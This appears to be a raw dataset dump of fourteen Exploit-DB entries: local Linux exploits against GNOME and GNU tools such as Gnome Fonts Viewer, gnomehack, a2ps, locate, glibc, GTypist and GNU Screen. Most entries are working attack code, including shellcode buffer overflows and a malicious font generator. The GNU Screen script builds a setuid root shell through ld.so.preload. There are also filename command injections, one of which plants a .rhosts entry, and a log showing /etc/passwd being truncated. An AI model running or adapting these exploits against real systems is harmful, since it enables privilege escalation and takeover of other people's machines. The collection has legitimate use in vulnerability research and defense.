deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48803
Description: Gnome Fonts Viewer 3.34.0 - Heap Corruption
Type: local
Platform: linux
Date: 2020-09-11
Author: Cody Winkler

Exploit:
#!/usr/bin/env python3
# Exploit Title: Gnome Fonts Viewer 3.34.0 Heap Corruption
# Date: 2020-09-10
# Exploit Author: Cody Winkler
# Vendor Homepage: gnome.org
# Software Link: https://help.gnome.org/misc/release-notes/3.6/users-font-viewer.html
# Version: 3.34.0
# Tested On: Ubuntu 20.04.1 LTS
#
# Note: May take a few tries. Too many consecutive runs can freeze OS.
# This will trigger an infinite malloc() loop until gnome-font-viewer process is stopped.

from os import system

this_pattern = "BEEF"*21125 # needs to be filled to len ~84500

# TTF file header (probably has some junk data in it) taken from MesloLGS
NF Regular.ttf

ttf_header = ("\x00\x01\x00\x00\x00\x13\x01\x00\x00\x04\x00\x30\x46\x46\x54"
"\x4d\x75\xfe\x73\xdd\x00\x13\xb6\x0c\x00\x00\x00\x1c\x47\x44\x45"
"\x46\x4d\x76\x5d\xda\x00\x13\xb0\xac\x00\x00\x04\xaa\x47\x50\x4f"
"\x53\x44\x76\x4c\x75\x00\x13\xb5\xec\x00\x00\x00\x20\x47\x53\x55"
"\x42\x09\xf6\x0b\xdc\x00\x13\xb5\x58\x00\x00\x00\x92\x4f\x53\x2f"
"\x32\x8d\xbd\x8e\x75\x00\x00\x01\xb8\x00\x00\x00\x60\x50\x66\x45"
"\x64\x5b\xd3\xe9\x6b\x00\x13\xb6\x28\x00\x00\x02\x50\x63\x6d\x61"
"\x70\xbf\x0d\x76\x7c\x00\x00\x34\x30\x00\x00\x0a\x36\x63\x76\x74"
"\x20\x28\xfd\x02\x16\x00\x00\x48\x98\x00\x00\x00\x38\x66\x70\x67"
"\x6d\x31\xfc\xa0\x95\x00\x00\x3e\x68\x00\x00\x09\x96\x67\x61\x73"
"\x70\xff\xff\x00\x10\x00\x13\xb0\xa4\x00\x00\x00\x08\x67\x6c\x79"
"\x66\xd6\x2f\x24\x7c\x00\x00\xac\xf0\x00\x11\xd8\x34\x68\x65\x61"
"\x64\x04\xe3\x81\x66\x00\x00\x01\x3c\x00\x00\x00\x36\x68\x68\x65"
"\x61\x0a\xf4\x01\xa2\x00\x00\x01\x74\x00\x00\x00\x24\x68\x6d\x74"
"\x78\x93\xdf\x7e\x92\x00\x00\x02\x18\x00\x00\x32\x16\x6c\x6f\x63"
"\x61\xe6\x44\x45\x24\x00\x00\x48\xd0\x00\x00\x64\x20\x6d\x61\x78"
"\x70\x1a\xa2\x0b\x9c\x00\x00\x01\x98\x00\x00\x00\x20\x6e\x61\x6d"
"\x65\x62\x13\x17\xa4\x00\x12\x85\x24\x00\x00\x0b\x9d\x70\x6f\x73"
"\x74\xbb\xe8\x29\xcf\x00\x12\x90\xc4\x00\x01\x1f\xdd\x70\x72\x65"
"\x70\xb4\xc5\xc5\x72\x00\x00\x48\x00\x00\x00\x00\x95\x00\x01\x00"
"\x00\x00\x02\x07\x2b\xd0\x81\xfc\x0f\x5f\x0f\x3c\xf5\x02\x9f\x08"
"\x00\x00\x00\x00\x00\xc5\x74\x19\x33\x00\x00\x00\x00\xda\x9d\x14"
"\xf1\xfd\x41\xfc\xfc\x05\xdf\x0a")

print('[+] Generating crash.ttf with DEADDEAD')

with open("./crash.ttf", 'w') as f:
f.write(ttf_header)
f.write(this_pattern)
f.close()
print('[+] Done')

print('[+] Triggering out-of-bounds write in gnome-font-viewer')
system("/usr/bin/gnome-font-viewer ./crash.ttf")
Exploit-DB #219
Description: GnomeHack - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-12-04
Author: Cody Tubbs

Exploit:
/*
 * (gnomehack) local buffer overflow. (gid=games(60))
 *
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/17/2000
 *
 * Tested on Debian 2.2, kernel 2.2.17 - x86.
 * sgid "games"(60) by default.
 *
 * bash-2.03$ id
 * uid=1000(loophole) gid=501(noc)
 * bash-2.03$ ./h 0 0
 * Ret-addr 0x7fffe81c, offset: 0, allign: 0.
 * Can't resolve host name "????????????????"!
 * sh-2.03$ id
 * uid=1000(loophole) gid=501(noc) egid=60(games)
 * sh-2.03$
 */

#include <stdio.h>

#define OFFSET 0
#define ALLIGN 0
#define NOP    0x90
#define DBUF   256 //120(RET*30)+((RET))+132(RET*33)
#define GID    60

static char shellcode[]=
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
  "\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
  "\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
  "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
  "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
  "\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
  __asm__("movl %esp,%eax");
}

void workit(char *heh){
  fprintf(stderr, "\ngnomehack local exploit for Debian 2.2 - x86\n");
  fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
  fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", heh);
  fprintf(stderr, "Examp: %s 0\n", heh);
  fprintf(stderr, "Examp: %s 0 1\n", heh);
  exit(1);
}

main(int argc, char **argv){
  char eipeip[DBUF], buffer[4096], heh[DBUF+1];
  int i, offset, gid, allign;
  long address;

  if(argc < 2){
    workit(argv[0]);
  }
 
  if(argc > 1){
    offset = atoi(argv[1]);
  }else{
    offset = OFFSET;
  }

  if(argc > 2){
    allign = atoi(argv[2]);
  }else{
    allign = ALLIGN;
  }

  address = get_sp() - offset;

  if(allign > 0){
    for(i=0;i<allign;i++){
      eipeip[i] = 0x69; //0x69.DOOT:D
    }
  }

  for(i=allign;i<DBUF;i+=4){
    *(long *)&eipeip[i] = address;
  }

  gid = GID;
  shellcode[10] = gid;
  shellcode[22] = gid;
  shellcode[24] = gid;
 
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
    buffer[i] = NOP;
  }
 
  memcpy(heh, eipeip, strlen(eipeip));
  memcpy(heh, "DISPLAY=", 8);//HOME||DISPLAY
  putenv(heh);

  memcpy(buffer+i, shellcode, strlen(shellcode));
  memcpy(buffer, "HACKEX=", 7);
  putenv(buffer);
 
  fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address, offset, allign);
  execlp("/usr/lib/games/gnomehack/gnomehack", "gnomehack", 0); //Mod path if needed.
}


// milw0rm.com [2000-12-04]
Exploit-DB #180
Description: GnomeHack 1.0.5 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-11-15
Author: vade79

Exploit:
/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
   this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
   on debian/2.2, which has gnomehack. (this can also be applied to nethack)

   syntax: ./deb_gnomehack [offset] [alignment].

   example:
   -------------------------------------------------
   # ./deb_gnomehack 500 0
   [ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
   [ return address: 0xbffff978, offset: 500, align: 0. ]
   sh-2.03$ id
   uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
   sh-2.03$
   -------------------------------------------------

   note: overflow exists in $NETHACKOPTIONS as well, like nethack.
*/
#define PATH "/usr/lib/games/gnomehack/gnomehack"       // path to gnomehack.
#define DEFAULT_OFFSET 500                              // default offset.
#define DEFAULT_ALIGN 0                                 // default alignment.
static char exec[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
 "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[300];
 int i,offset,align;
 long ret;
 printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
 "org]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 if(argc>2){
  if(atoi(argv[2])>3||atoi(argv[2])<0){
   printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[2]);}
 }
 else{align=DEFAULT_ALIGN;}
 ret=(esp()-offset);
 printf("[ return address: 0x%lx, offset: %d, align: %d. ]\n",ret,offset,align);
 for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 setenv("HOME",bof,1);
 if(execlp(PATH,"gnomehack",0)){
  printf("*** execution of %s failed. (check the path)\n",PATH);
  exit(-1);
 }
}

// milw0rm.com [2000-11-15]
Exploit-DB #222
Description: gnome_segv - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-12-06
Author: Cody Tubbs

Exploit:
/* gnome_segv local buffer overflow.
 * 
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/9/2000
 *
 * This exploit was coded at overfiens in cali.
 * Shouts to overfien and skeptik... h00t h00t.
 * Bug found by skeptik.
 *
 * Tested on SuSE 6.4/2.2.14
 * non s*id by default, p.o.e. only.
 */

#include <stdio.h>
#define DBUF   287 // 56(fun)+RET+227!
#define OFFSET 0   // Change if fails.

static char shellcode[]=
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
  "/bin/sh\x69";

long get_sp(void){__asm__("movl %esp,%eax");}
main(int argc, char **argv){
  char eipeip[DBUF]="        Don't forget to check www.hhp-programming.net";
  char buffer[4096], heh[256+1]; // ^</tag> :D
  int i, offset;
  long address;
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=OFFSET;}
  address=get_sp()-offset;
  for(i=56;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=0x90;}
  memcpy(heh,eipeip,strlen(eipeip));
  memcpy(heh,"DISPLAY=",8);
  putenv(heh);
  memcpy(buffer+i,shellcode,strlen(shellcode));
  memcpy(buffer,"EXSEGV=",7);
  putenv(buffer);
  fprintf(stderr,"Return address %#x, offset: %d.\n",address,offset);
  execlp("/opt/gnome/bin/gnome_segv","gnome_segv",0);
}


// milw0rm.com [2000-12-06]
Exploit-DB #816
Description: GNU a2ps - Anything to PostScript Not SUID Local Overflow
Type: local
Platform: linux
Date: 2005-02-13
Author: lizard

Exploit:
/* Not added to Local Non Poc section /str0ke */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
// by lizard / lizstyle[at]gmail.com
// greets go to slider/trog for helpin me
// not suid by default ;(
#define VULNTHING "/usr/bin/a2ps"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
#define xnullbitch 1100
//i`m not a asm guru so i ripped this shellcode
//shellcode by  man shadow
char sc[] =
"\x31\xC9"              /* xor ecx,ecx     */
"\x31\xDB"              /* xor ebx,ebx     */
"\x6A\x46"              /* push byte 70    */
"\x58"                  /* pop eax         */
"\xCD\x80"              /* int 80h         */
"\x51"                  /* push ecx        */
"\x68\x2F\x2F\x73\x68"  /* push 0x68732F2F */
"\x68\x2F\x62\x69\x6E"  /* push 0x6E69622F */
"\x89\xE3"              /* mov ebx,esp     */
"\x51"                  /* push ecx        */
"\x53"                  /* push ebx        */
"\x89\xE1"              /* mov ecx,esp     */
"\x99"                  /* cdq             */
"\xB0\x0B"              /* mov al,11       */
"\xCD\x80";             /* int 80h         */

int main(void) {

int ctr = 0;
char buffer[xnullbitch];
fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);

for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
*(long *) &buffer[ctr] = (long) DEFRET;

buffer[xnullbitch - 1] = '\0';

if((setenv("HOME", buffer, 1)) == -1) {
perror("setenv()");
exit(1);
}

if((setenv("TOPX", sc, 1)) == -1) {
perror("setenv()");
exit(1);
}

if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
perror("execl()");
exit(1);
}
return(0);
}

// milw0rm.com [2005-02-13]
Exploit-DB #24406
Description: GNU a2ps 4.13 - File Name Command Execution
Type: local
Platform: linux
Date: 2004-08-24
Author: Rudolf Polzer

Exploit:
source: https://www.securityfocus.com/bid/11025/info

Reportedly GNU a2ps is affected by a filename command-execution vulnerability. This issue is due to the application's failure to properly sanitize filenames.

An attacker might leverage this issue to execute arbitrary shell commands with the privileges of an unsuspecting user running the vulnerable application.

Although this issue reportedly affects only a2ps version 4.13, other versions are likely affected as well. 

$ touch 'x`echo >&2 42`.c'
$ a2ps -o /dev/null *.c
42
[x`echo >&2 42`.c (C): 0 pages on 0 sheets]
[Total: 0 pages on 0 sheets] saved into the file `/dev/null'
Exploit-DB #33508
Description: GNU Bash 4.0 - 'ls' Control Character Command Injection
Type: local
Platform: linux
Date: 2010-01-13
Author: Eric Piel

Exploit:
source: https://www.securityfocus.com/bid/37776/info

GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.

Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible. 

The following example is available:

1. mkdir $(echo -e 'couc\x08\x08asd')
2. ls

Displays:
coasd/

Expected:
couc??asd/
Exploit-DB #38232
Description: GNU Coreutils 'sort' Text Utility - Local Buffer Overflow
Type: local
Platform: linux
Date: 2013-01-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/57492/info

GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed. 

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -d
[1] 13431 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13432 segmentation fault sort -d

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M
[1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13434 segmentation fault sort -M
Exploit-DB #21043
Description: GNU findutils 4.0/4.1 - Locate Arbitrary Command Execution
Type: local
Platform: linux
Date: 2001-08-01
Author: Josh Smith

Exploit:
// source: https://www.securityfocus.com/bid/3127/info

GNU locate is an application that searches file databases for file names that match user-supplied patterns.

A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program.

It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser. 

#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
}
Exploit-DB #37631
Description: GNU glibc - Multiple Local Stack Buffer Overflow Vulnerabilities
Type: local
Platform: linux
Date: 2012-08-13
Author: Joseph S. Myer

Exploit:
// source: https://www.securityfocus.com/bid/54982/info

GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. 

include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXPONENT "e[PII_REDACTED]"
#define SIZE 214748364
int
main (void)
{
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
    {
      perror ("malloc");
      exit (EXIT_FAILURE);
    }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
}
Exploit-DB #19467
Description: GNU glibc 2.1/2.1.1 -6 - 'pt_chown' Local Privilege Escalation
Type: local
Platform: linux
Date: 1999-08-23
Author: Michal Zalewski

Exploit:
// source: https://www.securityfocus.com/bid/597/info

// pt_chown is a program included with glibc 2.1.x that exists to aid the proper allocation of terminals for non-suid programs that don't have devpts support. It is installed setuid root, and is shipped with RedHat Linux 6.0. As it stands, pt_chown is vulnerable to an attack that allows malicious users to write aribtrary data to tty input/output streams (open file desciptors -> tty) that don't belong to them (you could theoretically get full control of the terminal). This is done by fooling the program into giving you access (it lacks security checks). Whether you can be compromised or not depends on the software you are using and whether it has support for devpts (screen, midnight commander, etc). The consequences are hijacking of terminals, possibly leading to a root compromise.

int main(int a,char* b[]) {

char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
int i=0,x=open(b[1],1); // Expect writable, allocated
// (eg. by screen) /dev/ttyXX as 1st arg

if (x<0) {
perror(b[1]);
exit(1);
}

if (!fork()) {
dup2(x,3);
execl("/usr/libexec/pt_chown","pt_chown",0);
perror("pt_chown");
exit(1);

}
sleep(1);
for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);

}
Exploit-DB #25947
Description: GNU GNATS 4.0/4.1 - Gen-Index Arbitrary Local File Disclosure/Overwrite
Type: local
Platform: linux
Date: 2005-07-06
Author: pi3ki31ny

Exploit:
source: https://www.securityfocus.com/bid/14169/info

GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.

A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.

GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well. 

pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
Exploit-DB #19095
Description: GNU GNU bash 1.14 - Path Embedded Code Execution
Type: local
Platform: linux
Date: 1999-04-20
Author: Shadow

Exploit:
source: https://www.securityfocus.com/bid/119/info

A vulnerability in bash may allow inadvertently running commands embedded in the path to the currently working directory.

If an unsuspecting user enters a directory created by some malicious user with embedded commands, and their prompt (PS1) contains '\w' or '\W', and the prompt is displayed the commands will be executed. The vulnerability is in the parsing of the '\w' and '\W' escape codes.

As the prompt must be displayed unattended shell scripts are not vulnerable.

mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\` "
Exploit-DB #40634
Description: GNU GTypist 2.9.5-2 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-10-27
Author: Juan Sacco

Exploit:
# Exploit developed using Exploit Pack v6.5
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: GNU Typist
# Affected value: ARG0
# Version: 2.9.5-2
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Simple ncurses touch typing tutor
# Displays exercise lines, measures your typing speed and
# accuracy, and displays the results

# Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb
# MD5sum: 7ca59c5c0c494e41735b7be676401357
# Website: http://www.gnu.org/software/gtypist/

# gdb$ run `python -c 'print "A"*4098'`
# 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6
# 0x0804bf30 in ?? ()
# 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
# 0x0804c393 in ?? ()


import os, subprocess

def run():
  try:
    print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 4098
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x08\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["gtypist ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, GNU GTypist - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit GNU GTypist -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
Exploit-DB #41154
Description: GNU Screen 4.5.0 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-01-25
Author: Xiphos Research Ltd

Exploit:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
Exploit-DB #41152
Description: GNU Screen 4.5.0 - Local Privilege Escalation (PoC)
Type: local
Platform: linux
Date: 2017-01-24
Author: Donald Buczek

Exploit:
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$ 

Donald Buczek <address@hidden>




EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184